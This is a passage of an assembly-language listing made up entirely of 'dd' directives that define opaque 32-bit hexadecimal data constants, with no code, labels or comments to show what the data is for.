		dd 825D3EAFh, 76958744h, 315F04EEh, 85F9EFC8h, 7104974Ch
		dd 0F81B8B39h, 33D03D9h, 4DEF757h, 0C67221F2h, 3E61E82Fh
		dd 345CFE92h, 0E908054Dh, 93D180ECh, 71601BF3h,	5D2C095Bh
		dd 16FD5A66h, 0C4275A1Ah, 199FECDh, 0C52F482Ch,	5983FCD1h
		dd 8516ED68h, 0C62EB3BAh, 5E4ECB2Bh, 6B30AFD1h,	244CC4B8h
		dd 17D15864h, 1117BB0Ch, 0FD892DEAh, 2D48781Eh,	0A01E6509h
		dd 739D00E8h, 0DD292199h, 0EE4E85E9h, 2CE06A89h, 963F949Dh
		dd 68750104h, 7E062213h, 0ACCADA4h, 0D16B583Eh,	0B1ED0187h
		dd 6E9E736Dh, 3E9B9444h, 7AC9811Fh, 407EC854h, 0B0B93CD9h
		dd 7009532Fh, 85D14AE1h, 0C401FAA7h, 7320375Bh,	14B3EF00h
		dd 526AE72Dh, 1CF62C3Fh, 5D0EBBFDh, 4E04C72Dh, 0EFC4FF12h
		dd 0B3F90717h, 10A3AE92h, 3381C30Bh, 585B30E8h,	0B3E92FCEh
		dd 0D5E63EE1h, 3310A353h, 0FEE12D76h, 5A3E89D4h, 0C70FA734h
		dd 255851B5h, 3B8905B1h, 73E054C9h, 995F9735h, 52289CECh
		dd 2537BF07h, 7C3132B4h, 0E56EBBE8h, 9582DD82h,	0BDF7Eh
		dd 0C92FB38h, 0E554EE4h, 0BC205920h, 65BAE94Bh,	8227019Bh
		dd 65DDE62Fh, 0C9A2279Dh, 0E67DB0D1h, 0DB3630FEh, 350C3093h
		dd 0F43941B4h, 585D9527h
		dd 805F92B6h, 0B50C53F6h, 84F4C3CCh, 82BF4CBAh,	513DA507h
		dd 6DE95069h, 0C7927B9Eh, 0C2DD2AEh, 0E983D9DFh, 0FEBD37C6h
		dd 4FCF3D1h, 0FFE955A6h, 0E326FB38h, 63DC3AEFh,	1BE9DE0Dh
		dd 0BD652BBBh, 5639D0AAh, 22944DE9h, 740DBB00h,	7815365h
		dd 777E4CE3h, 99CB6078h, 42ED1264h, 8800FDE0h, 54CE68D7h
		dd 411F901Dh, 278241EAh, 95982F31h, 5882B55Bh, 0F223BE02h
		dd 7A07D8C0h, 60D6F84Ah, 0B2BB18DEh, 7058D75Fh,	46360416h
		dd 21BB1823h, 0DCEE2194h, 689AB415h, 9AF1C53Fh,	0F5101F0Bh
		dd 30348FC5h, 0F6C9E1A2h, 37E80FFh, 0C46EB268h,	1357F0C5h
		dd 0DD9283D7h, 2F35EC12h, 52521A43h, 0AB63EAB7h, 502F75EEh
		dd 0B86A0984h, 96BED64Dh, 0B50C1046h, 0BEED80F9h, 28C816F5h
		dd 83CAEBEBh, 933CE240h, 0ACB100DEh, 0FEA7B252h, 0F280CA0Eh
		dd 0F7E26005h, 0D7A969E9h, 0FB191374h, 0E10A125Fh, 0EB070CA4h
		dd 71E77950h, 0D60C2FC2h, 0DB98297h, 6D410859h,	6B9AFB47h
		dd 0A7C683A5h, 7C680B62h, 62D37919h, 170FF029h,	0E31AE0E3h
		dd 0D606812Fh, 72760606h, 0D486E565h, 0FB2AE4E1h, 0E9098D2Ah
		dd 2B274FFFh, 472222DAh, 69CFBD83h, 3E5DFAA1h, 2CEF4AA4h
		dd 25941C59h, 0C0A25584h, 49E9FE04h, 0E782649Eh, 0F8E04D99h
		dd 16070BBCh, 125D436Fh, 0AF85718h, 0B2CE8297h,	0C2E99BC5h
		dd 6A9D0ACh, 7E1D44BFh,	14096C3Bh, 762CE665h, 0BEA92ACDh
		dd 43950B8Fh, 0FACB9133h, 0D8844351h, 6C7B421Ch, 4FCE4C4Dh
		dd 6A12E8E8h, 5A3289Dh,	3A925C97h, 0FD32A785h, 0D5C4BA19h
		dd 0FD080712h, 84212570h, 7C666A68h, 6FBBC089h,	0B027992Fh
		dd 0E4653BCh, 97438F05h, 1892AA6Ch, 6309FDF2h, 50F551DFh
		dd 1D4A82E9h, 0EC5F80B2h, 0D08A90Dh, 6BB52568h,	250B1E99h
		dd 0DEAD6E88h, 48C67A10h, 12383851h, 6E00204Dh,	0E45790D9h
		dd 0F3BE0256h, 4E3BFA4Ch, 40F94255h, 7A2070CDh,	8DE924DDh
		dd 0BB6683F3h, 2DA0CCD3h, 5F018BCh, 4E38F43Eh, 7C8F304h
		dd 28FB0400h, 0C8E92CF0h, 0D0EE5A27h, 0D0B843F6h, 902F7941h
		dd 17B86822h, 0AE5498BFh, 0EDB1CB5Fh, 0C59D107Fh, 48167298h
		dd 0AEB47B7Ch, 180D3F91h, 0A01EFA04h, 1039B239h, 75C2ABACh
		dd 0E82D294Fh, 95BB096h, 0C230F0B2h, 644DA77h, 132570BDh
		dd 0A90B9A14h, 8002BB22h, 0D4432985h, 2891B064h, 7D417F1h
		dd 0ECEFC82Dh, 2A09F9E9h, 0E58153C0h, 6A74470Ch, 757F461Ch
		dd 0FF9B4B0Dh, 8EEF8056h, 992B5037h, 386353BCh,	0C6CB0209h
		dd 3AD05312h, 0FAA925C2h, 2D343955h, 0E906F46Eh, 2497EE37h
		dd 680378AEh, 0CC4D5EBEh, 0F09D02Ah, 433EC0h, 170B6838h
		dd 3B179E1Ah, 2569889Ch, 810A38FDh, 20F116EAh, 19E8732h
		dd 0F05ED659h, 23022CC2h, 86E93684h, 0C14F2C7h,	39E36742h
		dd 6C131566h, 0D4BE6DDFh, 21C2FBDEh, 84B703F7h,	99F4C4EAh
		dd 6BC47B27h, 414619FFh, 0BFCED56Bh, 905AA7D8h,	0E47EA35Ah
		dd 0D830E2C2h, 0E64097E9h, 12402506h, 0ED341490h, 2E0BE81Dh
		dd 36625B2Fh, 0E95A0701h, 596D7822h, 3968C214h,	253CEC50h
		dd 665D43CDh, 736815D6h, 0D880BC4Bh, 5164D14Dh,	7180B901h
		dd 0ABE9389Ah, 3801A364h, 29F931C1h, 0B9158CCh,	0B59829FDh
		dd 5CBF81F9h, 0BC4BC2BDh, 1EA0560Ch, 0C946F165h, 6AF6681Ch
		dd 1F7E5Ah, 1E4A085Dh, 191244BDh, 84A85998h, 18C27950h
		dd 0C45EF24h, 0E26486Ah, 0AB068542h, 2F94C13Eh,	8E7E0C0Dh
		dd 9B9A7769h, 83CA05C2h, 12D01EDDh, 0A5E039E9h,	9BE52B48h
		dd 9383282Eh, 0E9D0F709h, 276BFE90h, 0E9780DF6h, 30524111h
		dd 6D2C70E0h, 0D3092077h, 1DB5F67h, 546738A7h, 8252B05Dh
		dd 0D8376A9Ah, 70D9B573h, 52E7FF4Bh, 80C22989h,	3401510h
		dd 0EBF09577h, 42596C95h, 0A4E90B14h, 0F36477D7h, 0FB07FAB7h
		dd 0F0DC4AC2h, 27797ACh, 461F28C2h, 59D6F0FCh, 0AB4A2B75h
		dd 446AC23Dh, 0D164941Eh, 7ABC03h, 0C5EC9EE9h, 0E4C33114h
		dd 0B42D68C3h, 0AFAEF967h, 31120A71h, 9A2A3E0Eh, 240AC320h
		dd 0A808B8h, 2CF645C8h,	59F5429h, 91913327h, 0D5F5BBB5h
		dd 0B6F3B4E4h, 3C5D62B7h, 486FAE5Fh, 0E2810028h, 55EF7D6Bh
		dd 945E4A7Ch, 56A330AAh, 0F312D0DBh, 3522CD29h,	77DAAB33h
		dd 0B28933C6h, 4247CD5h, 7FB35366h, 1EFEB8BBh, 0C1AE58E5h
		dd 0DDF6B187h, 0AA464D5Fh, 8ECF5E9h, 0AAE912EBh, 3E38AEF0h
		dd 9DBFFE52h, 45D5B089h, 0BDA02277h, 0C96B5FBCh, 5B805F41h
		dd 6B2C759Ch, 494CA95h,	0E1B45A08h, 6CDD410Bh, 4704CB1h
		dd 3B543C46h, 637AE2ABh, 0F348C218h, 9BC0B71Ah,	276B9671h
		dd 15FFC889h, 69E90B43h, 2B5BC58h, 56C18DF5h, 0D3F7E211h
		dd 2BB71CC8h, 0F89FF9B0h, 0B9D82705h, 0C5684B19h, 0D0322F73h
		dd 0C81D7C77h, 201813A3h, 0D3686A5Dh, 0CCF4424Bh, 8F770244h
		dd 2BB3E916h, 6ABD24A0h, 5658FB4Dh, 0F50225BBh,	3BDBF74Bh
		dd 7EBD2803h, 0D271DF52h, 589CA51Fh, 0D02DB3EEh, 77E90BCCh
		dd 0B6FBE440h, 2FE3C007h, 52BD79A5h, 0F5629763h, 0CC1B064h
		dd 10E82AC9h, 1FE59430h, 2473508h, 1866F6CBh, 0CE84CCC1h
		dd 5C8C1A5Dh, 0A61D9D05h, 0F2584769h, 9FE3BF6Dh, 2E2EEDE9h
		dd 5A141D8Ch, 23FEC44h,	722F8CEh, 59544110h, 6405C104h
		dd 0AA95543Eh, 401BEBC1h, 8490EF15h, 4B1A38C6h,	0DD30E3Eh
		dd 0AC2396A4h, 51984A9Eh, 68954085h, 173B7C95h,	3ED2BB5Dh
		dd 945AD751h, 85FA5F4Bh, 0CEB2BB42h, 0AE9287D4h, 572C9DE7h
		dd 0F0D80C9h, 0E220E921h, 8887F6BFh, 0F627E7ACh, 2031669h
		dd 0F2440CE8h, 2FEE23E0h, 0B4A8BFABh, 63DF37Dh,	3A4D129h
		dd 1E045D08h, 7830535Fh, 0A254BB82h, 8192D8A9h,	1265C5D6h
		dd 27E38740h, 3368394Bh, 1871E6CCh, 2C26C979h, 78036F25h
		dd 5A0D4908h, 6818E863h, 30144BD4h, 0E86F4BFEh,	217320h
		dd 396E6C0Dh, 409A3507h, 0B80C3126h, 20A502Fh, 0B2B791F4h
		dd 90DF73E9h, 3D2E7934h, 9927F35h, 0C465E8E4h, 0A210176Ch
		dd 1C534C01h, 30EDD122h, 3803F017h, 0E945775Bh,	0C391F46Dh
		dd 7E345159h, 0CB801787h, 50988104h, 54B030B4h,	0EC565E40h
		dd 727A5C02h, 6590BDC0h, 0BE941E7Eh, 0D35014h, 64A60FC9h
		dd 0D38B8FE9h, 0BD92EE2Fh, 3B43D4ADh, 2898B063h, 1D5FEA40h
		dd 9709E540h, 71782FFh,	26D6A0D1h, 92B13435h, 733D2A7Ah
		dd 92AB2EBh, 5C08774Dh,	82ABECF7h, 2C08000Ch, 95506619h
		dd 0A53C4DE5h, 24B2FF3Ch, 9101147Ch, 5E14D178h,	1F5CBE40h
		dd 0D4E0C421h, 0C4DAE84Dh, 0B7E95453h, 2909688Bh, 7C5A675Ch
		dd 533B1C93h, 686B0109h, 6A57FB1Dh, 2DF5610h, 31435FD2h
		dd 0E2F9D529h, 0ABBE444Fh, 43FDFF5h, 5B49342h, 0DF03D9F6h
		dd 0E2ECD0EBh, 0E6BF858h, 70ABF66h, 6E40F92h, 0A0F78101h
		dd 8F242018h, 32145595h, 34156818h, 0A55E0C73h,	2AE2166h
		dd 3CC26791h, 5716F4E4h, 0CAA5F6E9h, 0B6D2043Fh, 428AD9Dh
		dd 486C3D14h, 0E61D20FAh, 2E6E7CF6h, 4180D3A2h,	5E5F4C38h
		dd 1396A936h, 1EE34A1Dh, 4C596510h, 195D386Ah, 0BEC238B8h
		dd 246CE3DCh, 0E4CF101h, 648F5F2Eh, 76AEEAC3h, 68D762EAh
		dd 207248EFh, 7B0940C4h, 8179B732h, 6A9C8BD7h, 0F57A29E1h
		dd 0AF3104E7h, 0A23021D9h, 9EB1276h, 5D94FFDBh,	0C0C8F7BBh
		dd 3118E8C1h, 5251B6C8h, 8B50D0C9h, 779B682Dh, 666A971Ah
		dd 78B461FDh, 36A8D051h
		dd 7FF18550h, 534D3D54h, 0E04048FCh, 0F42B684h,	1B83855Ah
		dd 4ACD20BFh, 799D78ADh, 36E90B6Fh, 89905DFCh, 0E43E1148h
		dd 671C7019h, 805E7BEAh, 5B4892CDh, 8038B22Ah, 7968E1F7h
		dd 0D1CE9F26h, 4CA61220h, 0F72FAD5Eh, 57E88355h, 0D8EBCD59h
		dd 2F4EC115h, 0C7FADA52h, 9499B30Bh, 25C28F05h,	5C15F1Ch
		dd 80053B6Ah, 6384F39Bh, 18C6C0Fh, 0A47BCADEh, 0BD64469Ch
		dd 0C9A8DC0Eh, 25125CB4h, 2D01AF5Eh, 5260442Eh,	0F2A49D4h
		dd 2FE91F65h, 0CEDE5992h, 1BA0C53h, 0CE46077h, 871257E9h
		dd 1AF48092h, 0B055CC33h, 4C04CECh, 0B0E907E4h,	5A8EEE2Fh
		dd 0E25C547Eh, 0C8D0975Dh, 0E52C9518h, 8810FB36h, 0C9FED1C3h
		dd 452C057Bh, 8789BF51h, 0E5042711h, 0D25F24ABh, 14046DA8h
		dd 0EF9B8ABAh, 787D114h, 6AC56D8h, 6601E2F0h, 852948E9h
		dd 473EBB0Bh, 62402D02h, 0C963400h, 31043D1Dh, 0B1B92F9h
		dd 1117685Bh, 8598A451h, 90F488BDh, 2B666930h, 1F88E6D9h
		dd 0C5290E7Ch, 0EF3095E5h, 12F28650h, 72EE2F8Dh, 68F5665Ah
		dd 800F20F9h, 8F0B3540h, 29B4B6CDh, 0AA037795h,	0EBFCE869h
		dd 28858FDh, 4F015849h,	5221C7C3h, 45530EF8h, 5D145409h
		dd 0B6D2F1B3h, 858D485Ch, 46FBD70h, 88B75FFBh, 0E29F62A7h
		dd 845C75FCh, 6989C451h, 0B47E5A5Eh, 3BF56806h,	28DC2557h
		dd 8912F35Bh, 103CE3EBh, 422C1583h, 0BD9A0640h,	962CC0FDh
		dd 8BC0C790h, 9F06F272h, 0E25DFB0Bh, 710B0915h,	46774B4Fh
		dd 0DC5B7177h, 0EEFD164Eh, 0F7C6DF09h, 52A2212Eh, 0F4774CB6h
		dd 5546A51Eh, 624F8E24h, 63FF6861h, 0EA671B8Dh,	82A13FDDh
		dd 0FFB7B13Eh, 68EB305Ah, 2A54E92Fh, 0E50FBB9Ah, 4BA5E78Bh
		dd 9F1B58C0h, 0CFA0E7BCh, 18B77CEFh, 3E27B592h,	0D0967B3Dh
		dd 0D86FB34Eh, 169BFBEh, 0BA4AB902h, 3F056CC2h,	40E2D180h
		dd 0F0B04B70h, 8B5B0FEEh, 0EE96D1B2h, 0FC273CCAh, 34687201h
		dd 0AB4A5447h, 0E9CB10FDh, 90D7FF89h, 1028E3FCh, 52FA24Fh
		dd 0FCBBFBD3h, 0B53CF0EAh, 53008996h, 0C7805CB7h, 0FC882EFEh
		dd 0FF5A12B1h, 21A4A864h, 0ED205EAAh, 5029CD35h, 3E7BBC09h
		dd 3C8713EFh, 1C8B5FA2h, 95B34CF7h, 0A508814Fh,	950F282Bh
		dd 0F4A75054h, 7B555199h, 0F9842CB2h, 785AF4C1h, 594F4971h
		dd 61212B80h, 27757516h, 5CF2577Fh, 4BD9985Dh, 684138AFh
		dd 0BE318E02h, 5C53E96Ah, 0DC681FFh, 0CC5AF730h, 8245BFEh
		dd 8059A7F1h, 0A26B9A31h, 0A80C20A1h, 9D6A95AEh, 9FF088C4h
		dd 5BA13356h, 0E91B70FBh, 0F1A8C980h, 34FED8BBh, 4CA3265Ch
		dd 64CF84D0h, 24D42909h, 3F9E5696h, 0F456E85Bh,	5E10B9BBh
		dd 0CD4B41FCh, 0ED806E43h, 2DE9873Ch, 6EEBE6E0h, 4C04FE95h
		dd 0EF1C5ADBh, 8582D7Ch, 91EC196h, 3A565DEEh, 0E8A40DFCh
		dd 8B44A17Dh, 5F0C003h,	3CF4C4FEh, 86A8E54Bh, 8F4684h
		dd 8005B252h, 5C4B73F2h, 0C91372C2h, 50C8CE3Eh,	1B169E5Eh
		dd 32BEC65Ah, 4AC840DBh, 7D16E1B9h, 75135F0Ch, 2F88E508h
		dd 0ACF62EC4h, 629C1E49h, 0D693585Eh, 4CDC256Eh, 9544F102h
		dd 54414028h, 6B36583Ch, 3E69CB10h, 2AEF0E66h, 22ACB259h
		dd 0B000052Dh, 0B92F49BEh, 0F531BB1Fh, 0FED49709h, 0E85C4465h
		dd 2BE9B1E2h, 0C50B102Eh, 252E65Eh, 0B66BEEB8h,	1765539h
		dd 0CA08FB41h, 0B33F29FDh, 4B524B31h, 3168A1A4h, 466308CDh
		dd 0EDC97E1Ch, 5B7D32CBh, 235EACA2h, 8C6853E0h,	3CAD2531h
		dd 781D7C58h, 5D2752CEh, 6A0245E1h, 0A2936DF2h,	0F2CF10EAh
		dd 0C222B950h, 0EEC09506h, 9CF6F180h, 5A12F530h, 6F2E828h
		dd 27702C87h, 0AED8F705h, 0E90A3C9Fh, 0A5D7490Ch, 562D57D6h
		dd 3C5F25DBh, 0B1681210h, 0F864631Bh, 0D8774978h, 0BC31BF2Ch
		dd 0F60B5365h, 95C85F21h, 0E12E1204h, 3C175960h, 56B2D0ACh
		dd 12E9B898h, 1E6E8549h, 0D025D1D9h, 4F76F881h,	2F4BA534h
		dd 0EAD043D4h, 6C380C04h, 0AF72102Bh, 3B097816h, 6B2DFD40h
		dd 140B7265h, 705C829h,	0E948590Eh, 80DD2E6Ah, 0F64370CDh
		dd 0D54CF779h, 2F208Fh,	7D136855h, 0C15D0B6Ch, 1263E548h
		dd 88F312ACh, 0BB4F7E4Dh, 0AC51382Dh, 0AA043BDEh, 0A591DE0Fh
		dd 6EE76A9h, 875ED2FFh,	7016CB78h, 7A01369Ah, 0A4648E6h
		dd 3C0CEBF0h, 873BFA5Eh, 67CDE916h, 0BCD484BAh,	4E654832h
		dd 12FF8BABh, 0BC200A08h, 0A829FBEBh, 402C454h,	68C0B70Fh
		dd 1E9DA4DDh, 10940BCh,	0F41780CFh, 0FB7BFC26h,	3B32D0FAh
		dd 11928604h, 9F9ED044h, 60EB980Ch, 3B09BC4Dh, 5D318D91h
		dd 0C3018C73h, 16DC0BF6h, 3C078CBEh, 0C10161FCh, 74ABE955h
		dd 0EE008889h, 0A5CE8059h, 406E6C0h, 0E919B551h, 6BEAA170h
		dd 0C241067Dh, 5F2329E5h, 9A2BE40h, 0D14D1C12h,	576FE402h
		dd 5E1231D9h, 0D23E877Dh, 0E6EAA32Bh, 2C531E55h, 93105FE9h
		dd 0AA05D4BFh, 695181EDh, 0BB033A68h, 71F51BD6h, 817E03D1h
		dd 31E0E255h, 0B7707FC7h, 0D07D189Ch, 193F1826h, 0E91ACF04h
		dd 0B3898E77h, 2730EA2Bh, 421CCC6h, 29E950D1h, 0E5C417E1h
		dd 0FBA66637h, 0D328C9F7h, 0DD3238DDh, 0B7F4955Bh, 40636318h
		dd 5A466F96h, 0D3206E08h, 660870E5h, 0FE5A5977h, 0B0B46F44h
		dd 4A704EF3h, 8463BD85h, 0F8B319F8h, 40CD6310h,	4B12D9D3h
		dd 110001CBh, 239D2ECFh, 80FEB543h, 0B7F300BEh,	0E9F9A93Ch
		dd 380E9D39h, 0CD0894A5h, 45AE3B6Bh, 371D66F6h,	0FCF684F4h
		dd 0FAAC4A29h, 516BAB4h, 0F963F339h, 10ACBC93h,	4E05AF34h
		dd 216E7268h, 455606Ch,	273374F0h, 4BFC69DAh, 9298FDA7h
		dd 2C5EF1E9h, 5124FCA2h, 0D0E9CF68h, 0B01D0DF8h, 4DEF663h
		dd 3E0C005h, 0B10CA802h, 716CFF51h, 889BB700h, 0E4805BFCh
		dd 421B826h, 0B3E9D4F6h, 7AF2FEADh, 13A889DFh, 72FD0327h
		dd 7DC6B1DDh, 0A4C2344Eh, 44EC7D58h, 76125220h,	14C6255Dh
		dd 0D23F6BA7h, 0C25A7032h, 0FC400882h, 4E047C4Bh, 3EEC115h
		dd 423DFF81h, 4081BA00h, 4E1BA124h, 0E6AA5A12h,	253D4CE0h
		dd 9BFB237h, 855BFEB0h,	0EBF851E9h, 92D3C99Ch, 78127CFh
		dd 38CBEEC4h, 4E73002Ah, 6266F3BBh, 0CEAD8C37h,	94ABB75h
		dd 2D7F6885h, 915634DFh, 2765CA47h, 51AF29DEh, 0DF488FBh
		dd 0C4253E24h, 0F0291F4Fh, 0D475CB96h, 7F41DA74h, 0D7FA1318h
		dd 31072D08h, 0FA4DE94Fh, 0A587C479h, 0BB17491Dh, 4A0A1F56h
		dd 5E4DBC31h, 5B042DCAh, 91731C68h, 10A3F00h, 93DC5166h
		dd 0C1A3D34Fh, 3F23981Bh, 0A835D74h, 0BFCB4A36h, 947A2BCBh
		dd 0BF5758CBh, 52959BACh, 0D1E92522h, 16556889h, 1FE60122h
		dd 0EE6842E7h, 0C4982808h, 0CDCA4710h, 123FFD4Fh, 89EF13C3h
		dd 5928E4ECh, 8F315B9Dh, 1C82B951h, 43E0630Ch, 9032E941h
		dd 7FEB2964h, 7FF674D0h, 7616466Bh, 0AA1517FDh,	608439C4h
		dd 293749EBh, 0DD54C2F7h, 6B31F05Ah, 0EE30387Fh, 90F4357Eh
		dd 0B65253F0h, 55B71D01h, 5CE9F730h, 0ABC3D57Ah, 229FD1B1h
		dd 5AF3C3D0h, 0DC92E386h, 585F4075h, 0C7608244h, 0DA72740Ch
		dd 2AFA297Ch, 5944494Ah, 0B4004CCFh, 3E4C02Bh, 8E4ABD90h
		dd 7F1E8EBFh, 1EF73C32h, 5781495Ah, 6FD4F06Ah, 0D0FD6941h
		dd 2D02B028h, 54C4497Ch, 0D0DF9762h, 0AD0CCF8Ch, 0EA08F4C4h
		dd 80193F1h, 673C5BE9h,	0B9BFB4Bh, 0D005A616h, 0D2D829EAh
		dd 5E31A42Dh, 0F447072Eh, 0E6E961B9h, 0B7206EC2h, 0B7419B68h
		dd 214EE799h, 0A0326C6Bh
		dd 0BB1ADB4h, 58E1300Ah, 2C80368Ah, 284F1DFFh, 80A70212h
		dd 0E52834C5h, 327941h,	3D265135h, 0EE121D5Ch, 7F9FDF2h
		dd 348F180Fh, 32BDFB2h,	0CC22C138h, 370F9140h, 2DFFCEF5h
		dd 58500454h, 26EF2468h, 4833C082h, 0DCBD7947h,	8159007Eh
		dd 0B76D3BC9h, 0FAB8745Ah, 97E1D114h, 0DAFFFA02h, 68020103h
		dd 290BFD74h, 2D81DD7Bh, 2A4B2199h, 2253FD4h, 22055B8Dh
		dd 49C01539h, 59BE6231h, 6E0EA185h, 183C8C1h, 81BCF36Eh
		dd 68C33159h, 5E4808F5h, 2021D42Ch, 0ED421C4Fh,	0F605CAF2h
		dd 1F75F7Eh, 731067ECh,	0C0BD020Bh, 7D0E0411h, 0B9B5317Ah
		dd 5DEB7F2h, 30E20428h,	908FB2CEh, 461537EAh, 48BDF434h
		dd 6892B4D6h, 0E937D75Bh, 5D51A782h, 54ADF867h,	4EAAEFE8h
		dd 99D6ADE3h, 2D50E6A7h, 78C2C8E9h, 66EA00F5h, 3908DE16h
		dd 0B72F6D05h, 0E957ADE0h, 4F16854Ah, 12FA18FBh, 0BF8041D2h
		dd 0F02A1249h, 91A50065h, 91969E4h, 0D69EFE50h,	375B2590h
		dd 0F6894198h, 0CB293F5Dh, 8586BBA6h, 0A3F9215Eh, 177D4C31h
		dd 31AE33FAh, 5E589Fh, 3C1D0D68h, 2F7B77EEh, 83D405CCh
		dd 0AA2991C0h, 0F781027Fh, 77884FB9h, 4331FD41h, 0CFE07DFBh
		dd 0BB300D16h, 1A55B822h, 251EB02Fh, 655FBCE3h,	0D7020833h
		dd 0B1AE6413h, 18702FECh, 821441E9h, 90846D40h,	0ED457782h
		dd 0AE30DAB1h, 5FA9BA00h, 0E6F81E5Ah, 1F727627h, 0F2C2812Dh
		dd 0B7C898A7h, 0CBF7B36Bh, 7E4104B2h, 3BA06D06h, 0E2AFA7D1h
		dd 73DBD547h, 1596EE9Eh, 309B2404h, 0AF5C8AEh, 0D52766BCh
		dd 7E7710BAh, 32C8966h,	72D7B0A7h, 0B2EA0FE1h, 2D345358h
		dd 0F9061F48h, 9DDC073h, 56B97C88h, 8CE2F00h, 524D1AA0h
		dd 60AB4A14h, 6260DFEDh, 0D8001B7Fh, 9E029D0Dh,	4CD14029h
		dd 2D04EBE0h, 81037FE8h, 7058C22Fh, 0CC17DB3Dh,	0E81DCBFFh
		dd 6FD72B45h, 8DC1F0D2h, 0ED6B6808h, 0B8E9E411h, 489DE010h
		dd 35CD1A32h, 18354E4h,	0A77546F6h, 9FEED827h, 28AC7905h
		dd 98C0F131h, 800DF568h, 0D24EE8E9h, 1986A341h,	0C801267h
		dd 44690DCFh, 654A0668h, 0F4C0CC24h, 79D00CC1h,	0E9CF0902h
		dd 7AF4C421h, 6F6D8B9Fh, 4951A655h, 4F00C789h, 0F68007E6h
		dd 0C638AC73h, 10604C31h, 5E274518h, 0D7E46056h, 1C874AB0h
		dd 0FD3147FEh, 818B162Fh, 584DBC03h, 958D358h, 704C5CC2h
		dd 53BBFB81h, 0B2F56117h, 545112B4h, 16DF880Bh,	0F9C88B22h
		dd 1E8093F8h, 6855565Dh, 59FE2595h, 0E67488F1h,	28763C7Eh
		dd 3246145Ah, 0E555346Eh, 6DA26DC0h, 30BF2FF4h,	125C62D3h
		dd 0A0091ED4h, 2ED570Bh, 0C8C56401h, 581362D6h,	0D2CCF3AAh
		dd 368771BFh, 7C5FC21Eh, 0F637849h, 68121F9Ah, 0D4B54475h
		dd 0C0018CF4h, 2602BD1Ah, 44B51B9Ch, 41A8FB4Ch,	96998A6h
		dd 135F022Dh, 5D93500h,	837640ACh, 4896011Ch, 0A52084A8h
		dd 0E6709F4Bh, 0ADE4D44Fh, 0B8E2E072h, 429820EFh, 86F38100h
		dd 898BC1FAh, 295B27DFh, 903EDD5h, 9B51F7A5h, 4E133C2Ch
		dd 481705E3h, 0C40FFC23h, 3CEF5B12h, 7C4AE943h,	13DE70B8h
		dd 0F587F138h, 0EE66EA03h, 7D996095h, 725D243Eh, 69C5026Fh
		dd 81D76696h, 0B12136C0h, 12A1BC6Bh, 32FB729Bh,	0E6A8D88Eh
		dd 0E2E60399h, 0B0DA9F0Eh, 680960DCh, 6AA07CAEh, 0D2D0C4Eh
		dd 0FEBD5A12h, 0FAC165ADh, 2FE977A0h, 4D9AFD6Dh, 62079600h
		dd 5828543Ch, 5A760635h, 0D3C57850h, 6816E0E2h,	56CC4F84h
		dd 0C9B44FEFh, 1D5BE076h, 0DABB20C1h, 49604C22h, 705E09CBh
		dd 2E506B04h, 0CA04947Ah, 95CE953h, 4C881096h, 292EC75Ah
		dd 0A85B6419h, 2EFB5F27h, 16FA4359h, 5A563868h,	27B6AA08h
		dd 3682C256h, 0D5A34A94h, 0EE292A60h, 775524Ch,	329A222Fh
		dd 0E5732DA0h, 0A0D45AB9h, 0C940F90Bh, 87BAC142h, 0F1385A1Bh
		dd 0AACCE6AEh, 7C4ED6F2h, 0E1FA1094h, 0FABE042Eh, 0BD8B3AE0h
		dd 0DC70E0D4h, 514CBDAAh, 444BBF2Dh, 0BB5300B0h, 6C2B70F8h
		dd 0B709BD55h, 5F20E63Bh, 5700CDF3h, 0A6406EBFh, 74E92513h
		dd 80C27154h, 0C8540510h, 194CC595h, 0D557C970h, 5A5BCED1h
		dd 3B83FC70h, 327B186Dh, 9E414CB2h, 0ABFD7BFAh,	3BF92B87h
		dd 1A2BB2CBh, 0C3567F04h, 4F0253C3h, 0C1F502F7h, 2C427FB0h
		dd 257F145Dh, 0AA0DD98h, 796B6C40h, 310F81BDh, 24205FFBh
		dd 4C5373DAh, 9579B6D3h, 29CB68F1h, 9C027FD1h, 5C03A97Ch
		dd 5CB0BDF7h, 11CF2568h, 0A5BFD073h, 75C9C23Dh,	0EA29ED52h
		dd 7FA7DFC0h, 5865B51Eh, 0C8AE182Ch, 0DD303A64h, 1F710C17h
		dd 317CB7A8h, 4F52CF97h, 0C62CF3FCh, 0CA64A7Ch,	8070BD31h
		dd 2DF3CD58h, 0BBDA6185h, 249FCC3Ah, 63185C98h,	0BDA123E9h
		dd 0F45E1E19h, 81399618h, 0DDDD09B2h, 50522F43h, 0A057100h
		dd 0BD71DA3Eh, 27076688h, 0E9780256h, 0BC3F5F7Dh, 0A1B784EBh
		dd 0D2650E12h, 0E1336524h, 40B12FE7h, 0F808F901h, 7AB09A4Ch
		dd 0B7CE7DB8h, 0FF28B3D1h, 5A711809h, 16A87F3Bh, 121C3008h
		dd 755B6C59h, 0EF2B342Dh, 73A273Dh, 10FE2710h, 55FBFFFh
		dd 621F6E37h, 0CA009C6Ah, 31E0A76Ah, 16F6BDF2h,	200155A7h
		dd 6E36126Eh, 5B6FD4C0h, 287C2Eh, 0F471BBCEh, 66C1E92Ah
		dd 21C4CFA8h, 867D6AB0h, 8DED6E8h, 0DE4BCCCFh, 8E229E59h
		dd 681E886Bh, 6632472Fh, 6F4C2057h, 3AB85E51h, 0CA7ECE5h
		dd 0D0A7F85Ch, 0AEFB20A9h, 0F9DF895h, 3E66BD44h, 0B942A784h
		dd 6201C8CDh, 7B5FAFE9h, 0FBFFBD9Fh, 51C31781h,	2836281Dh
		dd 91D3DFD9h, 0AAE686FBh, 0DEBC5F9Fh, 438EE916h, 3E0A6A4h
		dd 0E110D06h, 92A86BCCh, 67178419h, 0CA099735h,	8BB88416h
		dd 0FF4ADC8Fh, 0AE5A42CBh, 4A96B67Ch, 0E5C6F836h, 0AE8BE8BCh
		dd 6EBF4341h, 4A3DC0C8h, 0DE00EDBBh, 0BA47A4D2h, 0F0745551h
		dd 61FB6795h, 3F321825h, 13D64CB2h, 5A874F06h, 3982C580h
		dd 2A9CCB06h, 0FCADC523h, 0A7F94B33h, 0E4C6584Bh, 0EC394B69h
		dd 6BDDC438h, 19560916h, 5E971178h, 0CBA5CFC1h,	0F16BD3B3h
		dd 0AE3284BFh, 29BF1B61h, 0A6E58100h, 0D491817h, 6A35F500h
		dd 5EF77D5Ch, 4FD623DDh, 0C2C90F7h, 0E7EC538Ah,	0F32FCC09h
		dd 47630535h, 533938BBh, 3A126CB8h, 8AA82176h, 0CB08FA05h
		dd 8C40ABA4h, 0B5451BE5h, 0B8500044h, 2B207E3Ch, 0D07D0F7h
		dd 3DB51F2h, 582BA4DBh,	20DC2E86h, 0B90234FCh, 394974D5h
